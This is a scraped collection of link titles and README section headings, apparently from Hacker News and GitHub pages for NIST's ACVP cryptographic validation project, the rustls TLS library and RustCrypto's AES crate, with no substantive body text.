Show HN: Kakehashi – Experimental userspace to run macOS binaries on Linux ARM

Golang proposal: container/: generic collection types

qm – Multiplayer agent harness for work

GitHub - usnistgov/ACVP: Industry Working Group on Automated Cryptographic Algorithm Validation · GitHub

ACVP

Jump to

Background

How to use Metanorma

Objective

Project Goals

Status

Supported Algorithms

Block Cipher Modes

Secure Hash

XOFs

Message Authentication

DRBG

Digital Signature

SP 800-56 Series Algorithms

Full KAS and KTS IFC Testing

KAS SSC Testing

KDA Testing SP800-56Cr1/r2

KAS KC Testing SP800-56

RFC 7748 curve25519 and curve448

KDFs

Safe Primes

Conditioning Components

Stateful Hash-Based Signatures

Stateless Hash-Based Signatures

Module-Lattice Algorithms

Accessing the Demo Server

Obtaining TLS credentials

Configuring and using One-Time-Passwords (OTP)

Renewing TLS credentials

Contribution Guidelines

Related Projects

Licensing Terms

Citation Format

GitHub - rustls/rustls: A modern TLS library in Rust · GitHub

Status

Changelog

Documentation

Approach

Platform support

Cryptography providers

First-party providers

Third-party providers

Example code

Client example program

Server example program

License

Project Membership

Code of conduct

block-ciphers/aes at master · RustCrypto/block-ciphers · GitHub

Uh oh!

Expand file tree

aes

Directory actions

More options